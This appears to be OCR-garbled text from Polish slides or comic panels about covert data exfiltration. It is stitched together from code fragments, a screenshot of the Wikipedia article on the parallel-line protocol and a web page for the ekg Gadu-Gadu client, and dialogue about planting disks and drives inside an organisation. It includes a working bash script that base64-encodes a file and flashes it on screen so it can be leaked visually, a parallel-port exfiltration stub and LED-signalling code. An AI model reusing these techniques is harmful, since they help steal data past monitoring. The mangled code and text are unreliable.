if (ioperm(LPT_PORT, 1, 1)) {
perror("ioperm");
exit(1);
l;

exfil_lpt(argv(1l]);
if (ioperm(LPT_PORT, 1, 0)) {
perror("ioperm");

exit(1);
}

return 0;
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C °s en.wikipedia.org/wiki/Parallel_Line_Internet_Protocol

Lo T

L - -
= ":;) WIKIPEDIA Q_ Search Wikipedia Search

lhe Free Encvclopedia

lallafa.de/blog/amiga-projects/plipbox/

plipbox

Parallel Line Internet Protocol X 3languages
Contents hice Article Talk Read Edit View history Tools
(Top) From Wikigedia, the free encyclopedia

Operation
’ The Parallel Line Internet Protocol (PLIP) is a computer networking protocol for direct computer-to-computer communications usir

Similzr methods ) .
milErmetnods the parallel part, normally used for connections to a printer.[ 2]

See also

References PLIP provides link layer services for the Internet Prctoccel, which is used for forming small lccal area networks and large computer

networks, such as the Internel. This enables compulers withoul standard dedicated networking hardware, such as Elhernel. but with
older parallel port devices, to communicate.

External links

Operation .

The Internet Protocol Suite is the standards-based networking model and software specification for forming small and large compute

R | _— _ | . )
natworks, from local area networks to global communication systems like the Internet. It is usually implemented by software and plipbox is an Arduino-based device that allows to connect low-end

harcware features that use Ethernet network interface cards, cabling, and networking switches or hubs. classic Amigas via Ethemet to your local network. It bridges IP traffic

Early personal compulers did not have Ethernel hardware in their design. and bus adaplers were initially expensive. A solution was | received via PLIP on the paraliel port of the Amiga to the Ethemet port

use, at the time, a standard parzlie! port, typically used for connection to a printer or similar output device. The ports on two attached to the Arduino.
computers are connected with a so-called null-printer cable, sometimes called a LapLink cable.

a . S dla
=1 A
| /NJ N

The LapLnk cable connecits five output pins of a paralle! port to five input pins on the opposing port for each direction. Due to the lac , .
. o o . . With the plipZslip project | already presented a device that uses a cheap
of internal timing in the parallel ports, synchronizaticn is implemented via software handshaking: four pins are used for data transfer . , , ,
) o _ . _ ’ . AVR 8 bit microcontroller (as found on the popular Arduino boards) to
and one is used fcr synchronization. The logical values at these pins are read and written directly by the software via an input or

, bridge network traffic from the Amiga'’s parallel port (with the MagPLIP
output Instruction.

protocoll) to another machine via a fast serial link.
I'his method does not connect the bidiractional data lines of the two devices to pravent both lines from being active at the sama time
The status lines ERROR, SLCT, PAPOUT, ACK, and BUSY on one device are connected 0 data pins d0 through d4, respectively, ol plipbox extends the plip2slip project and replaces the serial link for IP
the other.

traffic with an on-board Ethemet port. This allows you to connect your

Amiga directly to your local network without any other machine assisting.

With the on-board Ethermet port the plipbox HW is more complex than the
to simplify the recreation of this device. This allows even novice users to

build their own plipbox. (See the hardware document for details).
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Eksfiltre

if [ $# -ne 1 ]1; then
echo "Uzycie: $0 <nazwa_pliku>"
exit 1

fi

file=%1

if [ ! —f "$file" ]; then
echo "file '$file” nie EEENNNECINERE
ex 1t 41

fi

baseb4 _output=$(openssl base64 —-A —-in "$file")

lines=$(tput lines)
columns=$(tput cols)

chunk_size=$((columns * lines ))
length=${#baseb4_output}
start=0

while [ $start -1t $length ]; do
clear
/bin/echo —-n "${base64 output:$start:$chunk _size}"
start=$((start + chunk_size))
sleep 0.3
done
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<DarkSeeker> Styszatem, ze macie doé¢ MAO.
. *
<Adam Hantle> Wszyscy majg dosc MAO.
L &

<DarkSeeker> A Jedhak ciggle dla nich podcast

Iprowadzicie.
d 1l ERef 7

{ |<Adam Sztange> To dosé skompllkowane

v {

- [<adam Hantle> Pono¢ pojawita sie przestrzeri na
- nazwijmy to - poczgtek konca MAO.

Y BT T

<Ruda> Tak ale potrzebujemy kogos wewnatrz.

SNV - "

4<Adam Sztange> Jak mozemy pomoc?

_—— ».:~; <DarkSeeker> W tym plecaku jest troche dyskow
'“ S SCSI, USB, ptyt CD, kaset. Powktadajcie to
gl wszedzie gdzie mozecie.

Adam Hantle

— Y N

<Ruda> .a Magia sie zad2|eje

T 3 . C e i —n— T e T =
- A » > -~ r

. ~ -
- - -
-



N . .
.q
f

'V h_ €
T TN d

Iron Root —

d

. 1.
lron Root jest najstarszgm cztonkiem
grupy, ld:c’)rg Pamié;ta swiat sl:)rzecl
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. soundsarden - the day | tried to [ive
g o e " ) et

o-( -
e

G /A NotSecure ekg.chmurka.net/findex.php 4 & B e e ®

eksperymentalny klient gadu-gadu

otwarty kKlient gadu-gacu dla systemow uniksowych

dokumentacja zmigny pliki kontakt

Eksperymentalny Kllent Gadu-Gadu jest otwartym klientem Gacu-Gadu dla systemdw
uniksowych (m.in. Linux, *BSD, SunQS, Scleris, MacOS X), ale z mnicjszymi ILb
wigkszymi zmanami dzia‘a na innych systemach zgodnych z POSIX (np. 8c0S). Kod
objety jest licencjami GPL oraz LGPL. Zosta® napisany na podstawie informacji uzyskanych
przez hadanie pakiefr’uw wysytanych miadzy klientem a serwerem oraz informacji
nadesianych przez uzytkownikdw. Autorzy nie disasemblowali ari nie dekompilovsali
oryginalnego klienta. Projekl powstat przy uzyciu darmowych i wolnodosteonych narzedzi.

2 drg@green:/mnt/'xfs

[dreRereen “1$ cd /mnt/xfs/ : i

[drelgreen xfsl$ 1= _ . . Na harie ekg powstat projekt eka2, ktary zapewnia obhstuge protoketdw innych niz Gadu-
d : A Gadu, m.in. Jabber.

index.,html . . ,
Najwazne;sze informacje:

+ 2023-04-03: Repczytorium oraz strona zosta‘y przeniesione na inny hosting.
Zmienit sie rowniez protokot kionowania repozytorium (z git:// na http://)

: . ; e —— ai g Tt T i i , 2018-D6-12: W rwiazxu z kaniecznodcia potwierdzenia zmiany adm nistratora
Olinda Cho = Cant Take My Eyes Off You.mp3 : ' ! danych osabowych 7 powodu zmiany wlasdciela GG krdtka infarmacja, jak
odzyskac swoje hasto z pliku config:

vinci, iso = = M ' : 1% grep '“password ' .gg/config | cut -b 11 based4 -d; echo
xf . drg@secprog:~ TR, ' ) )
" [drglgreen xfsl$ xv 13229 <magdalenka> Jjak zwykle Hishasz czasu . 2015-11-03; Jesdli ktos tu jeszcze z2qglada - nastapila migracia ekq do gita na
,[drg@green xfsl$ scp f. 13’29 (magdalenkad *3 serwerze git.chmurka.net.
[dreBereen xfsl$ mv f.mp3 canttake,mp3 : 13:29 <magdalenka> i co zrobiles wczoraj kisielek? i s ., . : y
my: nie mozna przeniesé f.mp3' do canttake.mp3': Brak dosi 155559 <nmagdalenkay Bobia tak 2013-10-29: Z koncem pazdziemika serwis foxygen.net konczy dzizlalrose.
[drefereen xfsl$ su ge magdalerﬂg(a {act.2a0e tgk - Strona ekg i repozytorium Subversion zostaty przeniesione na nowy serwer. Zmienid

Password: 13:30 -+ [1330]: message for magdalenka has been delivered ERRCHIEC RARS S L
[root@green xfsl# mv f.mp3 canttake.,mp3 B:magdalenka {act/d)> w sensie taki szybki,
5rogt@grean XFS?# R cangtake.mpB drg@secprog.orgi, /public. 12,20 -: [1330]: nessage for magdalenka has been delivered
rel@secprog.,org's password: 5 -
[rgoiggﬁeeﬁ xFi] # 3 83 r?agda{e;nka {acf:/ 41> w 3 minut, , wygenerowali Klucze simlite (xey -g) na tej dystrybucii przy uzyciu biblioteki
- ___13:30 -+ [1330]: message for magdalenka has been delivered OpenSSL w wersji 0.9.8 Iub nowszaj powinni zaktualizowat biblicteke DpenSSL i

v 13:32 <magdalenkar a ja gotowany , oo wygenerowac klucze ponownie, w przeciwnym wypadku narazeni s3 na latwe
13:32 =+ bandi drg ewelinka holeksa kflis konkordpl magdalenka markoman misiutk ﬂ,mamrkhwpq[Wﬂd”dnnmgnmf“anﬂ,ﬁﬂnmwyVﬁa?jhﬁ"maj
i_glupius moya szuwar targun teardrop hitp//7thguard.net/news. php2id=5783.
S:magdalenka {(act/d4)> bo ty taki hardcoreowiec jesteg :p
13:32 -+ [1332]: message for magdalenka has been delivered 2008-04-30; Wydano wersje 1.8rcl. Do pobrania stad. Wazniejsze zmiany od 1.7
13:33 <magdalenka> he to dostosowznie /find do 8-cyfrowych numerkéw, wydz elenie libgadu, dec,
13:33 =+ bandi drg Pn-lwlink‘ a2 holeksa kflis konkordel magdalenka markoman misiutk | dodanic zmicnnycn files_mode_confg | files_mode_received, napraw.enic biedu
Bi_gluleS ;:'-'!-Si-:: szuwar targun teardrop : kompilacji (backtrace) na niektorych 35D i kolory w okrie debug.

smagdalenkars nic nic
Bimagdalenka> 3> . 2008-02-01: Nastapita zmiana systemu kontroli wersji 7 CVS na Subversion.
13:33 -+ [1333]: message for magdalenka has been delivered , D ks
13:33 -+ [1333]: message for magdalenka has been delivered
13:33 <magdalenka> a tera Jjaram w piecu
8 tmagdalenka> D

2008-05-15: Z powocu powaznego bledu bezpieczenstwa w OpenSSL na
Dzbianie i Debianogochodnych dystrybuciach (Ubuntu) wszyscy, ktorzy
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-

int blink_leds(int *flag, int *delay)
1

<

S

int s, fd, restore_data;

#1fdef WITH_IOCTLD
command_add
( "beeps_spk™, "?", cmd_beeps_spk, @,
" <sekwencja>", "wydaje dzwieki zgodnie z sekwencjg"
"np"
"Kolejne dzwieki oddzielone sg przecinkami. Dzwiek sktada sie
"z tonu w hercach 1 dtugosci trwania w mikrosekundach oddzielonej
"ukosnikiem (,,%T/%n''). Jesli nie podano czasu trwania, domysSlna
"wartos¢ to 0,1s.\n"
"

"Zamiast sekwencji mozna podac nazwe formatu z themu.™);

#ifdef sun
if ((fd = open("/dev/kbd", O_RDONLY)) == -1)
return -1;

_ i

) ioct1(fd, KIOCGLED, &restore_data); ‘

= L7 - #else 5
if ((fd = open("/dev/console”, O_WRONLY)) == -1) I
fd = STDOUT_FILENO; ’

ioctl(fd, KDGETLED, &restore_data); »
#endif

for (s = 0; flag[s] >= 0 && s < IOCTLD_MAX_ITEMS; s++) {
#ifdef sun o
int leds = 0; -
/* tak.. na sunach jest to troszké inaczej */
1f (flag[s] & 1) j
leds |= LED_NUM_LOCK; | -
if (flag[s] & 2) 5

command_add
( "blink_leds", "?", cmd_blink_leds, 0,

" <sekwencja>", "odtwarza sekwencje na diodach LED", leds |= LED_SCROLL_LOCK;
u\nn if (ﬂGQ[S] & 4)
"Kombinacje diod oddzielone sg przecinkami 1e&li nn knmhinnfli ! - | stes Tabogrz - o \ 3
" - z - : 1 #else
"w nnkrgsekundach. Domysln_y c:'fas trwania A0, loct1(fd, KOSETLED, flagls]):
mapq bitowg o nastepujqcych nt s, #endif
"wartosciach: 1 - NumlLock, 2 - ScrolllLock 1f (delayl[s]) {
"przyktad wtgczenie NumLock 1 CapslLock jec for(s=0; flag[s] >= 0; s++) { i (del‘“ﬂﬁle;ai?ﬁ;gg;'f"'DELAY)
"S.\n" 1f (iOCtl(l, KDSETLED, Flag[s])) { else
n\n " per'r‘or,(n iOCtl -v) ; usleep(IOCTLD_MAX_DELAY);
"Zamiast sekwencji mozna podac nazwe form exit(1); 1 y
#endif 1
‘ #ifdef sun
f USleep(dela}’[Sj); ioctl(fd, KIOCSLED, &restore_data);
} #else
ioct1(fd, KDSETLED, restore_data);
#endif
toctl(l, KDSETLED, &);
if (fd 1= STDOUT_FILENO) /
close(fd); 4
return 0,
return @;
_ ¥ for sl
y L y Ny L L TS E—— v <=
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<Ruda> Eki’pa sie spisatal Mamy wszystb!
A L. 2= U - "
<DarkSeeker> No coz. Jednak warto czasem

poprosic o pomoc.
Vs T .«
<Ruda> Do Wszystk|ego trzeba do;rzec

<Ruda> IVIAO juz sie z tego nie otrzasnie.

¥ i GNP N

<DarkSeeker> Co dale j?

=l W AN .

LT A
<DarkSeeker> Nie patrz tak na mnie. Jak chcesz,

to sama sie w to baw.
N

<Ruda> Za5|ad2|esz chouaz w Nowej Radzie?
AN

- na oku, smstrzyczko
‘ R, B P

<Ruda> Licze na to.

<Ruda> SW|at bedzie potrzebowa’f nowego lidera.

<DarkSeeker> Dzieki, postOJe Ale bede miat was Jl*é
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